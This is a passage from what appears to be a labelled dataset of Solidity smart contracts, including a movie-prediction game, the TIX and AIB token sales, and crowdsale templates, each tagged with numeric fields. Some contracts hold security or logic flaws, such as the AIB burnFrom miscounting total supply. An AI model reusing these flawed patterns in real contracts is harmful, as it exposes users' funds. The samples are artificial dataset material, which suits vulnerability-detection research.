address indexed previousOwner,
address indexed newOwner
);
constructor() public {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Must be owner");
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Must provide a valid owner address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PickflixGameMaster is Ownable {
using SafeMath for uint256;
event Sent(address indexed payee, uint256 amount, uint256 balance);
event Received(address indexed payer, uint256 amount, uint256 balance);
string public gameName;
uint public openDate;
uint public closeDate;
bool public gameDone;
mapping (address => uint256) public boxOfficeTotals;
struct Movie {
uint256 boxOfficeTotal;
uint256 totalPlayerRewards;
bool accepted;
}
mapping (address => Movie) public movies;
uint256 public tokensIssued = 0;
uint256 public oracleFee = 0;
uint256 public oracleFeePercent = 0;
uint256 public totalPlayerRewards = 0;
uint256 public totalBoxOffice = 0;
constructor(string _gameName, uint _closeDate, uint _oracleFeePercent) Ownable() public {
gameName = _gameName;
closeDate = _closeDate;
openDate = block.timestamp;
gameDone = false;
oracleFeePercent = _oracleFeePercent;
}
function percent(uint numerator, uint denominator, uint precision) private pure returns(uint quotient) {
uint _numerator = (numerator * 10 ** (precision+1));
uint _quotient = ((_numerator / denominator)) / 10;
return ( _quotient);
}
function () public payable {
emit Received(msg.sender, msg.value, address(this).balance);
}
function sendTo(address _payee, uint256 _amount) private {
require(_payee != 0 && _payee != address(this), "Burning tokens and self transfer not allowed");
require(_amount > 0, "Must transfer greater than zero");
_payee.transfer(_amount);
emit Sent(_payee, _amount, address(this).balance);
}
function balanceOf() public view returns (uint256) {
return address(this).balance;
}
function redeemTokens(address _player, address _tokenAddress) public returns (bool success) {
require(acceptedToken(_tokenAddress), "Token must be a registered token");
require(block.timestamp >= closeDate, "Game must be closed");
require(gameDone == true, "Can't redeem tokens until results have been uploaded");
IPickFlixToken _token = IPickFlixToken(_tokenAddress);
uint256 _allowedValue = _token.allowance(_player, address(this));
_token.transferFrom(_player, address(this), _allowedValue);
uint256 _transferedTokens = _allowedValue;
uint256 _playerPercentage = percent(_transferedTokens, _token.totalSupply(), 4);
uint256 _playerRewards = movies[_tokenAddress].totalPlayerRewards.mul(_playerPercentage).div(10**4);
sendTo(_player, _playerRewards);
return true;
}
function acceptedToken(address _tokenAddress) public view returns (bool) {
return movies[_tokenAddress].accepted;
}
function calculateTokensIssued(address _tokenAddress) private view returns (uint256) {
IPickFlixToken _token = IPickFlixToken(_tokenAddress);
return _token.totalSupply();
}
function closeToken(address _tokenAddress) private {
IPickFlixToken _token = IPickFlixToken(_tokenAddress);
_token.closeNow();
}
function calculateTokenRate(address _tokenAddress) private view returns (uint256) {
IPickFlixToken _token = IPickFlixToken(_tokenAddress);
return _token.rate();
}
function calculateOracleFee() private view returns (uint256) {
return balanceOf().mul(oracleFeePercent).div(100);
}
function calculateTotalPlayerRewards() private view returns (uint256) {
return balanceOf().sub(oracleFee);
}
function calculateTotalBoxOffice(uint256[] _boxOfficeTotals) private pure returns (uint256) {
uint256 _totalBoxOffice = 0;
for (uint256 i = 0; i < _boxOfficeTotals.length; i++) {
_totalBoxOffice = _totalBoxOffice.add(_boxOfficeTotals[i]);
}
return _totalBoxOffice;
}
function calculateTotalPlayerRewardsPerMovie(uint256 _boxOfficeTotal) public view returns (uint256) {
uint256 _boxOfficePercentage = percent(_boxOfficeTotal, totalBoxOffice, 4);
uint256 _rewards = totalPlayerRewards.mul(_boxOfficePercentage).div(10**4);
return _rewards;
}
function calculateRewardPerToken(uint256 _boxOfficeTotal, address tokenAddress) public view returns (uint256) {
IPickFlixToken token = IPickFlixToken(tokenAddress);
uint256 _playerBalance = token.balanceOf(msg.sender);
uint256 _playerPercentage = percent(_playerBalance, token.totalSupply(), 4);
uint256 _playerRewards = movies[tokenAddress].totalPlayerRewards.mul(_playerPercentage).div(10**4);
return _playerRewards;
}
function calculateGameResults(address[] _tokenAddresses, uint256[] _boxOfficeTotals) public onlyOwner {
require(_tokenAddresses.length == _boxOfficeTotals.length, "Must have box office results per token");
require(gameDone == false, "Can only submit results once");
require(block.timestamp >= closeDate, "Game must have ended before results can be entered");
oracleFee = calculateOracleFee();
totalPlayerRewards = calculateTotalPlayerRewards();
totalBoxOffice = calculateTotalBoxOffice(_boxOfficeTotals);
for (uint256 i = 0; i < _tokenAddresses.length; i++) {
tokensIssued = tokensIssued.add(calculateTokensIssued(_tokenAddresses[i]));
movies[_tokenAddresses[i]] = Movie(_boxOfficeTotals[i], calculateTotalPlayerRewardsPerMovie(_boxOfficeTotals[i]), true);
}
owner().transfer(oracleFee);
gameDone = true;
}
function abortGame(address[] _tokenAddresses) public onlyOwner {
require(gameDone == false, "Can only submit results once");
oracleFee = 0;
totalPlayerRewards = calculateTotalPlayerRewards();
closeDate = block.timestamp;
for (uint256 i = 0; i < _tokenAddresses.length; i++) {
uint tokenSupply = calculateTokensIssued(_tokenAddresses[i]);
tokensIssued = tokensIssued.add(tokenSupply);
closeToken(_tokenAddresses[i]);
}
totalBoxOffice = tokensIssued;
for (i = 0; i < _tokenAddresses.length; i++) {
tokenSupply = calculateTokensIssued(_tokenAddresses[i]);
movies[_tokenAddresses[i]] = Movie(tokenSupply, calculateTotalPlayerRewardsPerMovie(tokenSupply), true);
}
gameDone = true;
}
function killGame(address[] _tokenAddresses) public onlyOwner {
for (uint i = 0; i < _tokenAddresses.length; i++) {
IPickFlixToken token = IPickFlixToken(_tokenAddresses[i]);
require(token.balanceOf(this) == token.totalSupply());
token.kill();
}
selfdestruct(owner());
}
}
contract PickflixGameFactory {
struct Game {
string gameName;
address gameMaster;
uint openDate;
uint closeDate;
}
Game[] public games;
mapping(address => address[]) public gameTokens;
address public owner;
address public oracleFeeReceiver;
event OraclePayoutReceived(uint value);
constructor() public {
owner = msg.sender;
oracleFeeReceiver = msg.sender;
}
function () public payable {
emit OraclePayoutReceived(msg.value);
}
modifier onlyOwner {
require(msg.sender == owner, "Only owner can execute this");
_;
}
function createGame(string gameName, uint closeDate, uint oracleFeePercent) public onlyOwner returns (address){
address gameMaster = new PickflixGameMaster(gameName, closeDate, oracleFeePercent);
games.push(Game({
gameName: gameName,
gameMaster: gameMaster,
openDate: block.timestamp,
closeDate: closeDate
}));
return gameMaster;
}
function createTokenForGame(uint gameIndex, string tokenName, string tokenSymbol, uint rate, string externalID) public onlyOwner returns (address) {
Game storage game = games[gameIndex];
address token = new PickFlixToken(tokenName, tokenSymbol, rate, game.gameMaster, game.closeDate, externalID);
gameTokens[game.gameMaster].push(token);
return token;
}
function closeGame(uint gameIndex, address[] _tokenAddresses, uint256[] _boxOfficeTotals) public onlyOwner {
PickflixGameMaster(games[gameIndex].gameMaster).calculateGameResults(_tokenAddresses, _boxOfficeTotals);
}
function abortGame(uint gameIndex) public onlyOwner {
address gameMaster = games[gameIndex].gameMaster;
PickflixGameMaster(gameMaster).abortGame(gameTokens[gameMaster]);
}
function killGame(uint gameIndex) public onlyOwner {
address gameMaster = games[gameIndex].gameMaster;
PickflixGameMaster(gameMaster).killGame(gameTokens[gameMaster]);
games[gameIndex] = games[games.length-1];
delete games[games.length-1];
games.length--;
}
function setOwner(address newOwner) public onlyOwner {
owner = newOwner;
}
function setOracleFeeReceiver(address newReceiver) public onlyOwner {
oracleFeeReceiver = newReceiver;
}
function sendOraclePayout() public {
oracleFeeReceiver.transfer(address(this).balance);
}
} | 0 | 1,623 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value);
function approve(address spender, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract TIXStalledToken {
uint256 public totalSupply;
bool public isFinalized;
address public ethFundDeposit;
function balanceOf(address who) constant returns (uint256);
}
contract TIXToken is StandardToken {
mapping(address => bool) converted;
string public constant name = "Blocktix Token";
string public constant symbol = "TIX";
uint256 public constant decimals = 18;
string public version = "1.0.1";
bool public isFinalized;
uint256 public startTime = 1501271999;
uint256 public constant endTime = 1501271999;
uint256 public constant tokenGenerationCap = 62.5 * (10**6) * 10**decimals;
uint256 public constant tokenExchangeRate = 1041;
address public tixGenerationContract;
address public ethFundDeposit;
modifier whenFinalized() {
if (!isFinalized) throw;
_;
}
modifier whenNotFinalized() {
if (isFinalized) throw;
_;
}
modifier between(uint256 _startTime, uint256 _endTime) {
assert(now >= _startTime && now < _endTime);
_;
}
modifier validAmount() {
require(msg.value > 0);
_;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
event CreateTIX(address indexed _to, uint256 _value);
function TIXToken(address _tixGenerationContract)
{
isFinalized = false;
tixGenerationContract = _tixGenerationContract;
ethFundDeposit = TIXStalledToken(tixGenerationContract).ethFundDeposit();
}
function transfer(address _to, uint _value) whenFinalized {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenFinalized {
super.transferFrom(_from, _to, _value);
}
function generateTokens()
public
payable
whenNotFinalized
between(startTime, endTime)
validAmount
{
if (totalSupply == tokenGenerationCap)
throw;
uint256 tokens = SafeMath.mul(msg.value, tokenExchangeRate);
uint256 checkedSupply = SafeMath.add(totalSupply, tokens);
uint256 diff;
if (tokenGenerationCap < checkedSupply)
{
diff = SafeMath.sub(checkedSupply, tokenGenerationCap);
if (diff > 10**12)
throw;
checkedSupply = SafeMath.sub(checkedSupply, diff);
tokens = SafeMath.sub(tokens, diff);
}
totalSupply = checkedSupply;
balances[msg.sender] += tokens;
CreateTIX(msg.sender, tokens);
}
function hasConverted(address who) constant returns (bool)
{
return converted[who];
}
function convert(address _owner)
external
{
TIXStalledToken tixStalled = TIXStalledToken(tixGenerationContract);
if (tixStalled.isFinalized()) throw;
if (converted[_owner]) throw;
uint256 balanceOf = tixStalled.balanceOf(_owner);
if (balanceOf <= 0) throw;
converted[_owner] = true;
totalSupply += balanceOf;
balances[_owner] += balanceOf;
Transfer(this, _owner, balanceOf);
}
function continueGeneration()
external
{
TIXStalledToken tixStalled = TIXStalledToken(tixGenerationContract);
if (totalSupply == tixStalled.totalSupply() && tixStalled.isFinalized())
startTime = now;
else
throw;
}
function finalize()
external
whenNotFinalized
{
if (msg.sender != ethFundDeposit) throw;
if (now <= endTime && totalSupply != tokenGenerationCap) throw;
isFinalized = true;
if(!ethFundDeposit.send(this.balance)) throw;
}
function()
payable
whenNotFinalized
{
generateTokens();
}
} | 0 | 198 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract UsdPrice {
function USD(uint _id) public constant returns (uint256);
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
event OwnershipTransferred(address indexed from, address indexed to);
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != 0x0);
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
string public name;
string public symbol;
uint8 public decimals;
function balanceOf(address who) constant public returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => uint256) internal balances;
function balanceOf(address _who) public view returns(uint256) {
return balances[_who];
}
function transfer(address _to, uint256 _value) public returns(bool) {
require(balances[msg.sender] >= _value && _value > 0 && _to != 0x0);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant public returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is BasicToken, ERC20, Ownable {
address public MembershipContractAddr = 0x0;
mapping (address => mapping (address => uint256)) internal allowances;
function changeMembershipContractAddr(address _newAddr) public onlyOwner returns(bool) {
require(_newAddr != address(0));
MembershipContractAddr = _newAddr;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowances[_owner][_spender];
}
event TransferFrom(address msgSender);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(allowances[_from][msg.sender] >= _value || msg.sender == MembershipContractAddr);
require(balances[_from] >= _value && _value > 0 && _to != address(0));
emit TransferFrom(msg.sender);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
if(msg.sender != MembershipContractAddr) {
allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value);
}
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(_spender != 0x0 && _value > 0);
if(allowances[msg.sender][_spender] > 0 ) {
allowances[msg.sender][_spender] = 0;
}
allowances[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
}
contract BurnableToken is StandardToken {
address public ICOaddr;
address public privateSaleAddr;
constructor() public {
ICOaddr = 0x0;
privateSaleAddr = 0x0;
}
event TokensBurned(address indexed burner, uint256 value);
function burnFrom(address _from, uint256 _tokens) public onlyOwner {
require(ICOaddr == _from || privateSaleAddr == _from);
if(balances[_from] < _tokens) {
emit TokensBurned(_from,balances[_from]);
emit Transfer(_from, address(0), balances[_from]);
balances[_from] = 0;
totalSupply = totalSupply.sub(balances[_from]);
} else {
balances[_from] = balances[_from].sub(_tokens);
totalSupply = totalSupply.sub(_tokens);
emit TokensBurned(_from, _tokens);
emit Transfer(_from, address(0), _tokens);
}
}
}
contract AIB is BurnableToken {
constructor() public {
name = "AI Bank";
symbol = "AIB";
decimals = 18;
totalSupply = 856750000e18;
balances[owner] = totalSupply;
emit Transfer(address(this), owner, totalSupply);
}
}
contract ICO is Ownable {
using SafeMath for uint256;
event PurchaseMade(address indexed by, uint256 tokensPurchased, uint256 tokenPricee);
event TokenPriceChanged(uint256 oldPrice, uint256 newPrice);
UsdPrice public fiat;
AIB public AIBToken;
uint256 public tokenPrice;
uint256 public deadline;
uint256 public softCap;
uint256 public tokensSold;
constructor() public {
fiat = UsdPrice(0x8055d0504666e2B6942BeB8D6014c964658Ca591);
tokenPrice = 5;
deadline = 0;
softCap = 40000000e18;
tokensSold = 0;
}
function startICO() public onlyOwner {
deadline = now.add(120 days);
}
function setTokenPrice(uint256 _newPrice) public onlyOwner {
require(_newPrice != tokenPrice && _newPrice > 0);
emit TokenPriceChanged(tokenPrice, _newPrice);
tokenPrice = _newPrice;
}
function setAIBTokenAddress(address _addr) public onlyOwner {
require(_addr != address(0));
AIBToken = AIB(_addr);
}
function getTokenPriceInETH() public view returns(uint256) {
return fiat.USD(0).mul(tokenPrice);
}
function getRate() public view returns(uint256) {
uint256 e18 = 1e18;
return e18.div(getTokenPriceInETH());
}
function buyTokens(address _addr) public payable returns(bool){
require(_addr != address(0) && msg.value > 0);
require(now <= deadline);
uint256 toTransfer = msg.value.mul(getRate());
AIBToken.transfer(_addr, toTransfer);
emit PurchaseMade(_addr, toTransfer, msg.value);
tokensSold = tokensSold.add(toTransfer);
return true;
}
function() public payable {
buyTokens(msg.sender);
}
function withdrawEth() public onlyOwner {
require(tokensSold >= softCap);
owner.transfer(address(this).balance);
}
function withdrawTokens(address _to, uint256 _value) public onlyOwner {
require(_to != address(0) && _value > 0);
AIBToken.transfer(_to, _value);
}
function processOffchainPayment(address _investor, uint256 _value) public onlyOwner {
require(_investor != address(0) && _value > 0);
AIBToken.transfer(_investor, _value);
tokensSold = tokensSold.add(_value);
emit PurchaseMade(_investor, _value, 0);
}
} | 1 | 3,536 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 4,269 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
